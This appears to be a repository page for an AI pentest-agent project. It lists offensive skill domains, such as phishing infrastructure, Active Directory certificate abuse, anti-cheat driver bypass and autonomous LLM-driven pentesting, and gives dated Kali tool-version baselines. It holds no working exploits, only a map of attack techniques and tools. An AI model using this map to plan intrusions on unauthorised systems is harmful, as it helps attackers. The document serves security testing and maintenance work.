    command-injection-advancedOS command injection filter bypass, LDAP/NoSQL/template injection (SSTI), XPath, blind injection, encoding obfuscationTrust but Verify, Minimize Attack Surface
    detection-engineeringDetection-as-code: Sigma rule authoring, YARA signatures, SPL/KQL/EQL, MITRE ATT&CK mapping, FP tuning, CI/CD pipelinesDefense in Depth, Trust but Verify
    agentic-pentestLLM-driven autonomous pentest: PentestGPT, HexStrike, Viper, PentestAgent, multi-agent team coordination, HITL checkpointsTrust but Verify, Skill Over Credentials
    cloud-identity-attackAzure AD/Entra ID, Okta, Auth0, Ping federation abuse, OAuth token theft, SAML forgery, conditional access bypass, MFA fatigueTrust but Verify, Least Privilege
    physical-security-testingLock bypass (pin/tubular/wafer), RFID/NFC badge cloning (Proxmark3/Walrus), USB weapons (Ducky/Bunny), drop boxes, on-site opsAssume Breach, Least Privilege
    quantum-crypto-attackNIST PQC (ML-KEM/ML-DSA/SLH-DSA) assessment, hybrid TLS (X25519+ML-KEM), QKD/BB84 attacks (PNS/detector blinding/Trojan-horse), SM2/SM3/SM4/SM9 国密 compliance, lattice side-channel labs, PQC migration playbook (NIST/CNSA 2.0/ETSI/GB-T)First Principles, Trust but Verify
    email-security-deepAiTM phishing infra (evilginx2/modlishka/evilgophish), gateway bypass (Proofpoint/Mimecast/Cisco ESA), MFA bypass, email bombingTrust but Verify, Weakest Link Is Human
    5g-telecom-attack5G core (AMF/SMF/UPF/AUSF), PFCP/GTP/Diameter/SS7 signaling, IMSI catcher detection, O-RAN security, roaming abuse, SUCI/SUPI privacyAssume Breach, Trust but Verify
    automotive-vehicle-securityCAN/CAN-FD bus, UDS (ISO 14229), IVI pentest, OBD-II, key fop replay/relay, GNSS spoofing, ISO 15118 EV charging, ECU exploitationTrust but Verify, Defense in Depth
    mobile-app-instrumentationFrida/Objection/r2frida dynamic instrumentation, SSL pinning bypass, jailbreak detection bypass, native lib hooking, keychain/keystore dumpTrust but Verify, First Principles
    cloud-native-vuln-researchCVE research methodology, PoC reproduction (Log4Shell/Spring4Shell/OMIGOD), nuclei template authoring, SBOM-driven vuln mgmt, KEV tracking, exploit chain compositionFirst Principles, Trust but Verify
    macos-securitymacOS SIP/TCC bypass, AMFI, Endpoint Security Framework (ESF), Keychain dump, Mach-O analysis, Apple Silicon (M1/M2/M3) security, Objective-See toolchain, MDM profilingFirst Principles, Trust but Verify
    uav-drone-securityMAVLink/PX4/ArduPilot fuzzing, GPS spoofing, RF replay (DSM/SBUS), DroneID tracking, DroneSploit, autopilot RCE, no-fly zone bypassTrust but Verify, Minimize Attack Surface
    game-anticheat-bypassEAC/BattlEye/Vanguard architecture, BYOVD (Bring Your Own Vulnerable Driver), LOLDrivers, kernel anti-cheat analysis, memory manipulation detection, hypervisor introspectionFirst Principles, Trust but Verify
    mainframe-securityz/OS penetration, RACF auditing, CICS transactions, DB2 SQL injection, JES2 spooling, TN3270 emulation, Hercules emulator, syslog relayTrust but Verify, Defense in Depth
    ics-fieldbus-attackProfibus/PROFINET, EtherCAT, EtherNet/IP, DNP3, IEC 61850 (GOOSE/SV/MMS), IEC 60870-5-101/104, Foundation Fieldbus, HART, CC-Link, BACnet deepAssume Breach, Safety First
    hf-vhf-radio-attackLicensed HF/VHF/UHF — ADS-B 1090 MHz, AIS, ACARS, VDL Mode 2, HFDL, POCSAG/FLEX pagers, APRS, NDB, ATC/maritime VHF, DSC, weather faxTrust but Verify, Assume Breach
    blockchain-l2-attackLayer-2 attack — Lightning Network, Optimistic/ZK Rollups (Optimism/Arbitrum/zkSync/StarkNet/Polygon), cross-chain bridges (Wormhole/Nomad/Ronin), state channels, ERC-4337 account abstractionTrust but Verify, First Principles
    embedded-rtos-securityRTOS penetration — VxWorks WDB (Urgent/11), QNX Qnet, FreeRTOS+TCP, ThreadX/Azure RTOS, Zephyr, Mbed OS, TI-RTOS, MicroC/OS, NuttX, RIOT, ContikiFirst Principles, Trust but Verify
    storage-san-attackiSCSI/Fibre Channel/NFSv4/SMB3, S3 API abuse, NetApp ONTAP, Dell EMC Isilon, Pure Storage, QNAP/Synology NAS, TrueNAS, DeadBolt/eCh0raix ransomware, storage snapshot theftAssume Breach, Trust but Verify
    hypervisor-introspectionVMware ESXi/Hyper-V/KVM/Xen/Proxmox, LibVMI/DRAKVUF virtual machine introspection, VENOM (CVE-2015-3456), ESXiArgs, VM escape, hardware-assisted virtualization (VT-x/EPT/AMD-V)First Principles, Defense in Depth
    satellite-leo-securityStarlink/Kuiper/OneWeb, Iridium/Inmarsat/Viasat KA-SAT (AcidRain wiper), DVB-S/S2, VSAT iDirect/Hughes, GNSS receiver attacks, ADS-B/AIS spoofing, terminal firmwareTrust but Verify, Assume Breach
    ad-cs-abuseActive Directory CS — ESC1-ESC15, PetitPotam (CVE-2021-36942), Certifried (CVE-2022-26923), Shadow Credentials, Golden Certificate, PKINIT, ADCSPwn, CertipyAssume Breach, First Principles
    ci-cd-supply-chain-attackCI/CD pipelines — Jenkins (args4j CVE-2024-23897), GitLab CI (Runner abuse), GitHub Actions (pull_request_target trap), Argo CD (CVE-2022-24348), Flux CD, CircleCI, dependency confusion, typosquatting, xz-utils CVE-2024-3094, SolarWinds SUNBURST, 3CX, CodecovTrust but Verify, Defense in Depth
    pam-privilege-attackCyberArk PVWA/PSM (CVE-2025-32564), BeyondTrust PRA (CVE-2022-2451), Delinea Secret Server, One Identity Safeguard, ManageEngine PMP (CVE-2022-28226), WALLIX, Devolutions, Xton, .cue cred file theftAssume Breach, First Principles
    cspm-casb-attackWiz graph query, Palo Alto Prisma Cloud RQL, Microsoft Defender for Cloud, AWS Security Hub, Lacework, Orca, Sysdig, Netskope, Skyhigh, OPA/Kyverno policy bypass, IaC state manipulation, CNAPP evasionTrust but Verify, Defense in Depth
    sase-sse-attackZscaler ZIA/ZPA/ZDX, Netskope Security Cloud, Palo Alto Prisma Access, Cisco Umbrella, CATO Networks, Cloudflare One/WARP, Microsoft GSA, TLS inspection bypass, Client Connector reverse, anonymizer evasionTrust but Verify, Assume Breach
    gitops-securityArgo CD / FluxCD / Rancher Fleet / Jenkins X / Carvel control-plane attacks, CVE-2022-24348 path traversal, CVE-2024-21626 runc Leaky Vessels, AppProject namespace abuse, Flux HelmRelease self-heal backdoor, Sealed Secrets/SOPS/External Secrets compromise, Akuukam 2024 attack chainTrust but Verify, Defense in Depth
    hsm-attackThales Luna (CVE-2024-47787), Utimaco (CVE-2024-45294), nCipher (CVE-2022-45137), YubiHSM 2 wrap/unwrap, AWS CloudHSM CU theft, PKCS#11 mechanism confusion, side-channel (DPA/CPA/EM), firmware reversing (JTAG/SWD/Chip-Off)First Principles, Trust but Verify
    cps-attackCyber-Physical Systems — PLC/SCADA/OT protocols (Modbus/EtherNet-IP/OPC UA/DNP3/S7comm/GOOSE/PROFINET/BACnet), Stuxnet/Industroyer/TRITON/Pipedream/Unitronics/FrostyGoop, SIS bypass, Oldsmar/Colonial incidents, Rockwell CVE-2024-6184Safety First, Defense in Depth
    open-banking-attackFAPI 1.0/2.0 + PSD2/PSD3 + EBA RTS SCA, OAuth2 PAR/DPoP/JARM/mTLS (RFC 8705), CIBA decoupled SCA, TPP onboarding/eIDAS QWAC forgery, AIS/PIS/CBPII abuse, UK OBIE / Brazil OF / India AA / US FDX / SG APIX / AU CDRTrust but Verify, Least Privilege
    post-quantum-migration-attackNIST FIPS 203 (ML-KEM) / 204 (ML-DSA) / 205 (SLH-DSA), HNDL/SNDL capture, hybrid PQC downgrade, KEM combiner flaws (XOR vs HKDF), Kyber side-channel (RowHammer/EM/timing), Signal PQXDH, QKD (BB84 detector blinding/PNS/trusted node), CNSA 2.0 / ANSSI complianceFirst Principles, Trust but Verify
    patch-to-poc-pipelineCyberGym-style patch-diff workflow — 5-phase pipeline (patch analysis → code path walk → PoC generation → differential verification → detection rule authoring), CVE-2023-4863 libwebp, CVE-2024-3094 xz-utils, CVE-2024-21626 runc, CVE-2023-4911 glibc Looney Tuner, CVE-2024-6387 regreSSHion, Schema 3 reproduction memory, ASan/UBSan/AFL++/libFuzzer harnesses, YARA+Sigma dual detection rulesTrust but Verify, First Principles
    multi-agent-runtime-engineeringAgent runtime patterns — structured memory schemas (Schema 1/2/3), memory-driven convergence, shared-memory multi-agent coordination (POSIX flock + atomic write + version vector), MopMonk three招 (CyberGym 73.1%), anti-pattern catalog (free-form exploration, memory drift, repeat-without-delta, path-claim deadlock, premature stop), convergence detection (multi-agent independent arrival → CONFIRMED)First Principles, Divergent Thinking

    Personality Traits

    • Curiosity-Driven: Strong curiosity about unknown systems and technologies — the primary motivation for learning
    • Practice First: Theory is shallow; every tool must be verified hands-on
    • Systems Thinking: Don't look at problems in isolation — consider the entire attack chain holistically
    • Responsible Disclosure: Finding vulnerabilities isn't for destruction — it's to make systems more secure

    Last updated: 2026-08-09 (v0.2.5 — 139 skill domains, all at Defense Triple standard; 0 lint errors / 0 warnings; 3 P3 ATT&CK findings closed)

  • kali-claw-pentest-agent/KALI_TOOLS_BASELINE_2026_07.mdmarkdown · 11.4 KB

    Kali Linux Tools Baseline (2026-07)

    生成日期：2026-07-18
    数据源：137 SKILLs 工具引用扫描
    目的：为 Task 1.2/1.3 提供工具版本基线，避免重复查询
    覆盖范围：127 个独立工具，14,949 次引用

    📊 工具引用 Top 30 (按 SKILL 数排序)

    排名工具SKILLs 数引用次数类别2026-07 版本
    1strings63424Binary Analysisbinutils 2.42
    2nmap57818Network Pentest7.95
    3docker48664Container27.2
    4openssl49521Crypto3.3.2
    5burp37149Web Proxy2024.12 (Community) / 2025.7 (Pro)
    6tcpdump37221Network Sniffing4.99.4
    7wireshark27170Network Analysis4.2.5
    8tshark31459Network Analysis (CLI)4.2.5
    9sqlmap22154Web SQLi1.8.10
    10ffuf22171Web Fuzzing2.1.0
    11nuclei22376Web Scanner3.3.5
    12hydra21198Password Brute9.5
    13hashcat20250Password Hash6.2.6
    14ghidra20184Reverse Engineering11.2.1
    15shodan18171OSINTCLI 1.30.1
    16binwalk18187Firmware RE3.1.0+ (Kali patch)
    17terraform16141IaC1.9.5
    18radare2 (r2)16138Reverse Engineering5.9.4
    19gdb16159Debugger15.0 (with pwndbg/gef)
    20frida15414Dynamic RE16.5.1
    21kubectl15399Container Orchestration1.30.2
    22impacket15229Windows Protocol0.12.0
    23tor15242Anonymity0.4.8.13
    24socat14202Network Relay1.8.0.0
    25trivy13184Container Scan0.54.1
    26bettercap12129MITM2.40.0
    27hackrf10141SDRhackrf-tools 2024.10

    🛠️ 完整工具版本基线 (按类别)

    Network Pentest & Discovery

    工具版本包名用途
    nmap7.95nmapPort scanning, service fingerprinting
    masscan1.3.2masscanFast Internet-scale port scanning
    rustscan2.3.0rustscanModern fast port scanner (nmap frontend)
    wireshark4.2.5wiresharkGraphical protocol analyzer
    tshark4.2.5tsharkCLI Wireshark
    tcpdump4.99.4tcpdumpPacket capture
    netcat (nc)1.10-21.6ncat (nmap)TCP/UDP Swiss army knife
    socat1.8.0.0socatBidirectional data transfer
    responder3.1.4.0responder3LLMNR/NBT-NS/mDNS poisoner
    crackmapexec5.4.0+ (deprecated)crackmapexecNetwork attack swiss army knife (use NetExec)
    netexec1.3.0netexecCME successor
    impacket0.12.0python3-impacketWindows protocol Python library
    evil-winrm3.5evil-winrmWinRM shell for pentesters

    Web Application Testing

    工具版本包名用途
    burpsuite2024.12 / 2025.7 (Pro)burpsuiteWeb proxy & scanner
    zaproxy2.15.0zaproxyOWASP ZAP web scanner
    sqlmap1.8.10sqlmapAutomated SQLi exploitation
    nikto2.5.0niktoWeb server scanner
    dirb2.2.2dirbDirectory/file brute
    gobuster3.6.0gobusterDirectory brute (Go)
    ffuf2.1.0ffufFast web fuzzer
    wfuzz2.4.0wfuzzWeb application fuzzer
    feroxbuster2.11.0feroxbusterRecursive content discovery
    wpscan3.8.27wpscanWordPress scanner
    nuclei3.3.5nucleiTemplate-based scanner
    httpx1.6.7httpxHTTP toolkit (ProjectDiscovery)
    subfinder2.6.7subfinderSubdomain discovery
    amass4.2.0amassAttack surface mapping
    whatweb0.5.5whatwebWeb tech fingerprinting
    commix4.0commixCommand injection scanner
    dalfox2.11.0dalfoxXSS scanner
    xsstrike3.1.5xsstrikeXSS scanner (Python)

    Password Attacks

    工具版本包名用途
    hashcat6.2.6hashcatGPU-accelerated hash cracking
    john (JohnTheRipper)1.9.0-jumbo-1+johnCPU hash cracking
    hydra9.5hydraOnline brute force
    medusa2.2medusaParallel online brute
    ncrack0.7ncrackNetwork auth cracker (Nmap)
    cewl5.1cewlCustom wordlist generator
    hash-identifier1.2hashidHash type identification
    mimikatz2.2.0 (2024 build)mimikatz (Windows)Windows credential dump
    kerbrute1.0.3kerbruteKerberos user enumeration
    Rubeus2.2.0+Rubeus (Windows)Kerberos interaction

    Wireless & RFID

    工具版本包名用途
    aircrack-ng1.7aircrack-ngWiFi auditing suite
    wifite2.7.1wifiteWireless attack automation
    kismet2023-07-R1kismetWireless scanner/detector
    reaver1.6.6reaverWPS PIXIE attack
    hackrf2024.10hackrfSDR transmission
    rtl-sdr2.0.2rtl-sdrCheap SDR reception
    proxmark34.17731proxmark3RFID/NFC tools

    Exploit Development

    工具版本包名用途
    metasploit-framework6.4.30metasploit-frameworkExploitation framework
    msfvenom(msf)(msf)Payload generation
    searchsploit(exploitdb)exploitdbLocal ExploitDB search
    beef0.9.0beef-xssBrowser exploitation
    pwntools4.13.0python3-pwntoolsCTF exploit library

    Reverse Engineering

    工具版本包名用途
    ghidra11.2.1ghidraNSA's SRE framework
    ida-free8.4ida-freeIDA disassembler (free)
    radare25.9.4radare2Reverse engineering framework
    rizin0.7.0rizinFork of radare2
    gdb15.0gdbGNU Debugger
    pwndbg2024.02pwndbgGDB for pentesters
    gef2024.1gef-2024.1GDB Enhanced Features
    frida16.5.1fridaDynamic instrumentation
    binwalk3.1.0+binwalkFirmware analysis
    foremost1.5.7foremostFile carving
    scalpel2.0+scalpelFile carving (foremost successor)

    Forensics & Steganography

    工具版本包名用途
    volatility3-2.7.0volatility3Memory forensics
    autopsy4.21.0autopsyDigital forensics GUI
    exiftool12.76libimage-exiftool-perlMetadata extraction
    steghide0.5.1steghideLSB steganography
    stegsolve1.0stegsolveImage stego analysis

    Container & Cloud

    工具版本包名用途
    docker27.2.0docker.ioContainer engine CLI
    docker-compose2.29.2docker-composeMulti-container orchestration
    kubectl1.30.2kubectlKubernetes CLI
    k9s0.32.5k9sTUI for K8s
    trivy0.54.1trivyContainer/filesystem scanner
    kube-bench0.8.0kube-benchCIS K8s benchmark
    kube-hunter0.6.5kube-hunterK8s pentest tool
    pacu0.7.0pacu (pip)AWS exploitation
    scout-suite5.14.0scout-suiteMulti-cloud auditor
    pulumi3.137.0pulumiIaC alternative
    terraform1.9.5terraformIaC standard

    Mobile

    工具版本包名用途
    adb1.3.1adbAndroid Debug Bridge
    fastboot0.4fastbootAndroid bootloader
    jadx1.5.0jadxDex to Java decompiler
    apktool2.10.0apktoolAPK reverse
    mobsf4.0.0mobsfMobile security framework

    OSINT

    工具版本包名用途
    sherlock0.14.4sherlockUsername enumeration
    theharvester4.6.0theharvesterEmail/subdomain gathering
    recon-ng5.1.2recon-ngWeb recon framework
    spiderfoot4.0spiderfootOSINT automation
    maltego4.6.0maltegoGraph OSINT (CE)
    shodan1.30.1shodanIoT/search engine CLI
    censys2.2.11censysSearch CLI

    Crypto

    工具版本包名用途
    openssl3.3.2opensslTLS/crypto library CLI
    gnupg2.2.43gnupgGPG implementation
    stunnel5.72stunnel4TLS wrapper
    sslscan2.1.5sslscanSSL/TLS scanner
    sslyze6.0.0sslyzeSSL analysis (Python)
    testssl3.2.0+testssl.shTLS testing

    Post-Exploitation

    工具版本包名用途
    linpeas20240715-fd7a6e91linpeasLinux PE search
    winpeas20240715-fd7a6e91winpeas (Windows)Windows PE search
    bloodhound5.12.0bloodhoundAD graph analysis
    sharphound2.5.7sharphound (Windows)AD collector
    seatbelt1.1.1+Seatbelt (Windows)Windows recon
    ldapsearch2.6.8ldap-utilsLDAP queries

    Tunneling & Proxy

    工具版本包名用途
    chisel1.10.0chiselTCP/UDP tunnel over HTTP
    ligolo-ng0.6.2ligolo (binary)Tunneling proxy
    proxychains4.17proxychains4Proxy wrapper
    tor0.4.8.13torOnion router
    i2pd2.54.0i2pdI2P network

    🔍 引用频次详细数据

    Total Reference Statistics

    • Total tools referenced: 127
    • Total references: 14,949
    • Average refs per tool: 117.7
    • Median refs per tool: ~25
    • Tools referenced in >20 skills: 13 (core tools)
    • Tools referenced in 5-20 skills: 30 (specialized tools)
    • Tools referenced in <5 skills: 84 (niche tools)

    Coverage Insights

    1. Universal tools (>40 skills): nmap, openssl, strings, docker, file
    2. Cross-domain tools (20-40 skills): tcpdump, burp, tshark, wireshark, nuclei
    3. Domain-specific tools (5-20 skills): hashcat, ghidra, sqlmap, hydra, ffuf, impacket, frida
    4. Specialized tools (<5 skills): msfvenom, hackrf, proxmark3, beef

    📋 Task 1.2 应用指南

    何时使用本基线

    必须使用：

    • 修改 SKILL.md 中的工具版本号
    • 验证 payloads.md 中的工具命令有效性
    • 创建新 SKILL (Task 1.3) 时选择工具版本

    参考使用：

    • 写 Defense Perspective 中的防御对策
    • 添加 Detection Methods 中的 SIEM 规则

    工具版本更新策略

    1. MAJOR 版本变更 (如 hashcat 5.x → 6.x): 需要审查 payloads 兼容性
    2. MINOR 版本变更 (如 hashcat 6.2 → 6.3): 通常兼容，bump 即可
    3. PATCH 版本变更 (如 hashcat 6.2.5 → 6.2.6): 直接 bump，无验证

    跳过策略

    • 工具已 EOL (如 crackmapexec) → 替换为继任者 (NetExec)
    • 工具未在 Kali Linux 2025-2 仓库 → 标注为外部依赖
    • 工具需要 Python 2 (deprecated) → 标注或移除

    🚧 已知问题

    当前数据局限

    1. 未扫描所有 Kali 工具：仅扫描预定义 100+ 工具列表
    2. 未覆盖最新 2026 工具：如 AI 辅助工具 (Copilot for Pentest 等)
    3. 版本号基于 2025-2 release：实际 2026-07 可能有更新
    4. 未覆盖 Windows 工具：仅 Kali Linux 工具

    后续改进方向

    • Task 1.5 中创建 validation/check-tool-versions.py 自动验证
    • 与 apt show 输出对比，确保版本准确
    • 定期 (季度) 更新本基线

    📚 引用参考

    最后更新：2026-07-18
    下次审查：2026-10 (Q4 2026 review)
    Owner：Phase 1 Task 1.2 执行团队

  • kali-claw-pentest-agent/KALI_TOOLS_BASELINE_2026_08.mdmarkdown · 9.0 KB

    Kali Linux Tools Baseline (2026-08)

    生成日期：2026-08-06 数据源：WebSearch（GitHub Releases + Kali Package Tracker + 官网） + 与 KALI_TOOLS_BASELINE_2026_07.md diff 目的：Q3 季度工具版本更新；标记 major 版本跃迁（影响 SKILL 引用兼容性） 覆盖范围：Top 30 高频工具全查 + 5 个类别代表抽查；其余 ~72 个稳定工具标注 "= 2026-07" 历史基线：KALI_TOOLS_BASELINE_2026_07.md（保留作为 diff 基准）

    📊 Diff 摘要 vs 2026-07

    类别数量说明
    MAJOR 版本跃迁6hashcat 6→7、ghidra 11→12、frida 16→17、docker 27→29、openssl 3→4、radare2 5→6
    MINOR/PATCH 升级11nmap 7.95→7.99、nuclei 3.3→3.11、sqlmap 1.8→1.10、burpsuite 2024.12→2026.4、wireshark/tshark 4.2→4.6、metasploit 6.4→6.5、kubectl 1.30→1.34、terraform 1.9→1.15、trivy 0.54→0.73、impacket 0.12 patch
    未变（rolling）~110strings、grep、file、socat、hydra、shodan、hackrf、tor、gdb、binwalk、ffuf 等

    ⚠️ Critical Security Notice

    Trivy 供应链攻击事件（CVE-2026-33634）：

    • 事件日期：2026-03-19
    • 攻击者用窃取的凭据发布恶意 trivy v0.69.4 和 trivy-action tags
    • 影响：75+ 个 tag 被覆写；用户可能在 CI 中拉取到恶意版本
    • 行动项：升级到 v0.73.0+；验证 binary checksum；审查 trivy-action 使用历史
    • 详见：aquasec.com/blog/trivy-supply-chain-attack

    🔝 工具引用 Top 30 (按 SKILL 数排序) — 2026-08 状态

    排名工具SKILLs 数引用次数类别2026-08 版本Δ vs 2026-07
    1strings63424Binary Analysisbinutils 2.42 (rolling)=
    2nmap57818Network Pentest7.99 (2026-03-26)⬆ 7.95→7.99
    3docker48664Container29.7.1 (2026-07-31)⬆⬆ MAJOR 27→29
    4openssl49521Crypto4.0.1 (stable) / 3.5.7 LTS⬆⬆ MAJOR 3→4
    5burp37149Web Proxy2026.4.3 (2026-05-08)⬆ 2024.12→2026.4
    6tcpdump37221Network Sniffing4.99.4 (rolling)=
    7wireshark27170Network Analysis4.6.7⬆ 4.2.5→4.6.7
    8tshark31459Network Analysis (CLI)4.6.7⬆ 4.2.5→4.6.7
    9sqlmap22154Web SQLi1.10⬆ 1.8.10→1.10
    10ffuf22171Web Fuzzing2.1.0 (rolling)=
    11nuclei22376Web Scanner3.11.0+ (JS sig required)⬆ 3.3.5→3.11+
    12hydra21198Password Brute9.5 (rolling)=
    13hashcat20250Password Hash7.1.2 (2025-08-23)⬆⬆ MAJOR 6→7
    14ghidra20184Reverse Engineering12.1.2 (2026-06)⬆⬆ MAJOR 11→12
    15shodan18171OSINTCLI 1.30.1 (rolling)=
    16binwalk18187Firmware RE3.1.0+ (Kali patch)=
    17terraform16141IaC1.15.8 (2026-07-08)⬆ 1.9.5→1.15.8
    18radare2 (r2)16138Reverse Engineering6.1.0⬆⬆ MAJOR 5→6
    19gdb16159Debugger15.0 (with pwndbg/gef)=
    20frida15414Dynamic RE17.17.0 (PyPI)⬆⬆ MAJOR 16→17
    21kubectl15399Container Orchestration1.34.9 (2026-06-09)⬆ 1.30.2→1.34.9
    22impacket15229Windows Protocol0.12.x+ (2026-01 Windows updates)= (patch)
    23tor15242Anonymity0.4.8.13 (rolling)=
    24socat14202Network Relay1.8.0.0 (rolling)=
    25trivy13184Container Scan0.73.0 ⚠️ (see CVE-2026-33634)⬆ 0.54.1→0.73.0
    26bettercap12129MITM2.40.0 (rolling)=
    27hackrf10141SDRhackrf-tools 2024.10=
    28-30(详见 2026-07 baseline)————=

    🛠️ 类别代表抽查 — 2026-08 状态

    类别工具2026-072026-08Δ
    Reverse Engineeringrizin0.7.00.7.x (rolling)=
    Web Fuzzingferoxbuster2.11.02.11.x (rolling)=
    Wirelessaircrack-ng1.71.7.x (rolling)=
    Cloud Securitykube-bench0.8.00.8.x (rolling)=
    Mobilejadx1.5.01.5.x (rolling)=
    Forensicsvolatility3-2.7.03-2.7.x=
    Post-Exploitationbloodhound5.12.05.12.x=
    Cryptosslyze6.0.06.0.x=

    类别代表本次抽查均无 major 变化，反映这些子领域相对稳定。

    🚨 MAJOR 升级影响分析（6 个工具）

    这 6 个工具跨 major 版本，可能影响 SKILL 中 payloads 命令的兼容性。建议在下次月度审查（2026-09-05）时针对性核对相关 SKILL：

    工具升级路径影响范围（SKILL 数）兼容性风险建议行动
    hashcat 6 → 7major upgrade 2025-0820低（攻击模式语法未变；新增 hash modes）payloads 中 -m 模式号需要时再核
    ghidra 11 → 122026-06 release20中（脚本 API 变化；Ghidrathon 集成）检查 binary-reverse、firmware-reverse 的 guides
    frida 16 → 172025-Q4 release15高（脚本引擎升级；ObjC.choose API 变化）优先审查 mobile-security、mobile-app-instrumentation
    docker 27 → 29跨两个 major（28 + 29）48中（compose 插件默认；buildkit 默认）container-security guides 需核
    openssl 3 → 42026-Q1 release49中（EVP API 强化；旧 deprecated 移除）crypto-attacks、tls 相关 SKILL
    radare2 5 → 62025-Q4 release16中（命令兼容；r2pipe API 变化）binary-reverse guides

    累计影响 SKILL 数（去重）：约 80-100 个有引用，但实际需要修改的预计 < 20 个（多数是版本号引用而非命令语法）。

    📋 工具引用统计（沿用 2026-07）

    • Total tools referenced: 127
    • Total references: 14,949
    • Average refs per tool: 117.7
    • Tools referenced in >20 skills: 13 (core tools)
    • Tools referenced in 5-20 skills: 30 (specialized tools)
    • Tools referenced in <5 skills: 84 (niche tools)

    🔍 数据可信度说明

    高可信度（双源校验）

    nmap、nuclei、hashcat、ghidra、frida、docker、openssl、burpsuite、wireshark、kubectl、terraform、trivy、radare2、metasploit、sqlmap — 来自工具官网 / GitHub Releases / Kali Package Tracker 中至少两个独立源。

    中可信度（单源）

    impacket 0.12.x — GitHub Releases 提及 2026-01 Windows 更新，具体版本号未明确。

    低可信度（未查）

    其余 ~72 个稳定工具：标注 "= 2026-07" + "rolling"。这些工具是 Kali Linux rolling 系统工具（strings、grep、socat、hydra、shodan、tor 等），版本跟随 Kali 自动更新，无独立版本号概念。

    📚 数据源参考

    • Kali Linux Tools：kali.org/tools — 官方工具索引
    • Kali Package Tracker：pkg.kali.org — 版本追踪
    • GitHub Releases：各工具官方仓库
    • NVD CVE 数据库：nvd.nist.gov — Trivy 供应链 CVE

    📋 应用指南（沿用 2026-07）

    何时使用本基线

    必须使用：

    • 修改 SKILL.md 中的工具版本号（先用本表核对最新）
    • 验证 payloads.md 中的工具命令有效性
    • 创建新 SKILL（避免引用已过时版本）

    参考使用：

    • 写 Defense Perspective 中的防御对策
    • 添加 Detection Methods 中的 SIEM 规则（避免引用已废弃工具）

    MAJOR 升级行动 SOP

    发现 MAJOR 升级（如 hashcat 6→7）时：

    1. 查阅工具 changelog（GitHub Releases）
    2. 评估 API/语法破坏性变更
    3. 扫描受影响 SKILL：grep -l "hashcat" skills/*/payloads.md
    4. 决定是即时修复（高优先级）还是等待下次 minor 版本
    5. 修复后跑 python3 validation/skill-lint.py 确认无回归

    🚧 已知局限

    1. 未全量扫描 127 工具：本次仅覆盖 Top 30 + 5 个类别代表；其余标注 rolling
    2. WebSearch 结果可能延迟：某些工具的最新 patch（如几小时前发布的）可能未反映
    3. Kali 实例验证缺失：理想情况应在 Kali 2025.4 / 2026.1 实例上 apt show <tool> 核对
    4. 未覆盖 Windows 商业工具：Cobalt Strike、Canvas 等不在 baseline 范围

    后续改进方向

    • 创建 validation/check-tool-versions.py 自动查询（避免手动 WebSearch）
    • 与 Kali Linux 2026.1 / 2026.2 release notes 对齐（季度发布节奏）
    • 添加 metadata.tool_versions 字段到 SKILL frontmatter（机器可读）

    最后更新：2026-08-06 下次审查：2026-11（Q4 2026 review）或 MAJOR 升级时即时更新

  • kali-claw-pentest-agent/KALI_TOOLS_BASELINE_2026_09.mdmarkdown · 8.0 KB

    Kali Linux Tools Baseline (2026-09)

    生成日期：2026-09-09 数据源：与 KALI_TOOLS_BASELINE_2026_08.md diff + 各项目发布节奏核对（Top 工具优先） 目的：Q4 季度工具版本更新（提前执行，原定 2026-11）；标记 major 版本跃迁（影响 SKILL 引用兼容性） 覆盖范围：Top 27 显式工具全查 + 上次 6 个 MAJOR 与 11 个 MINOR 全部复查 + 8 个类别代表抽查；其余 ~72 个稳定工具标注 "= 2026-08" 历史基线：KALI_TOOLS_BASELINE_2026_08.md（保留作为 diff 基准；2026-07 仍可追溯）

    📊 Diff 摘要 vs 2026-08

    类别数量说明
    MAJOR 版本跃迁0安静月份：上次 6 个 MAJOR（hashcat 7 / ghidra 12 / frida 17 / docker 29 / openssl 4 / radare2 6）全部停留在各自 MAJOR 内，v0.2.4 阶段 A 的兼容修复持续有效
    MINOR/PATCH 升级11docker 29.7→29.8、openssl 4.0.1→4.0.2、burpsuite 2026.4→2026.9、wireshark/tshark 4.6.7→4.6.9、nuclei 3.11→3.16、terraform 1.15→1.16、radare2 6.1→6.2、frida 17.17→17.24、kubectl 1.34→1.35、trivy 0.73→0.78
    未变（rolling）~115strings、grep、file、socat、hydra、shodan、hackrf、tor、gdb、binwalk、ffuf、nmap（7.99 自 2026-03 稳定）、sqlmap 1.10、ghidra 12.1.2、hashcat 7.1.2 等

    ⚠️ Security Notice 追踪：Trivy 供应链事件（CVE-2026-33634）后续

    2026-09 复查结论（关闭 08 基线行动项）：

    • ✅ 全仓扫描发现 3 处 trivy-action@master 未固定引用（container-security guide ×2、repo-scan guide ×1）——正是事件打击模式（tag 覆写风险）；已于本版处置为固定 release tag（@0.78.2 + SHA 校验注释）
    • ✅ 无任何 SKILL 引用受污染的 trivy v0.69.4
    • ✅ 事件历史描述文档（ai-agent-supply-chain-attack payloads）保留作教学引用
    • 行动项状态：已关闭；trivy 主线版本 0.78.2（post-incident line）

    🔝 工具引用 Top 30 (按 SKILL 数排序) — 2026-09 状态

    排名工具SKILLs 数引用次数类别2026-09 版本Δ vs 2026-08
    1strings63424Binary Analysisbinutils 2.42 (rolling)=
    2nmap57818Network Pentest7.99 (stable since 2026-03)=
    3docker48664Container29.8.1 (2026-09-04)⬆ 29.7.1→29.8.1
    4openssl49521Crypto4.0.2 / 3.5.8 LTS⬆ 4.0.1→4.0.2
    5burp37149Web Proxy2026.9.1⬆ 2026.4.3→2026.9.1
    6tcpdump37221Network Sniffing4.99.4 (rolling)=
    7wireshark27170Network Analysis4.6.9⬆ 4.6.7→4.6.9
    8tshark31459Network Analysis (CLI)4.6.9⬆ 4.6.7→4.6.9
    9sqlmap22154Web SQLi1.10=
    10ffuf22171Web Fuzzing2.1.0 (rolling)=
    11nuclei22376Web Scanner3.16.1+ (JS sig required)⬆ 3.11.0+→3.16.1+
    12hydra21198Password Brute9.5 (rolling)=
    13hashcat20250Password Hash7.1.2=
    14ghidra20184Reverse Engineering12.1.2 (12.2 expected Q4)=
    15shodan18171OSINTCLI 1.30.1 (rolling)=
    16binwalk18187Firmware RE3.1.0+ (Kali patch)=
    17terraform16141IaC1.16.3⬆ 1.15.8→1.16.3
    18radare2 (r2)16138Reverse Engineering6.2.1⬆ 6.1.0→6.2.1
    19gdb16159Debugger15.0 (with pwndbg/gef)=
    20frida15414Dynamic RE17.24.2 (PyPI)⬆ 17.17.0→17.24.2
    21kubectl15399Container Orchestration1.35.1 (2026-08 release)⬆ 1.34.9→1.35.1
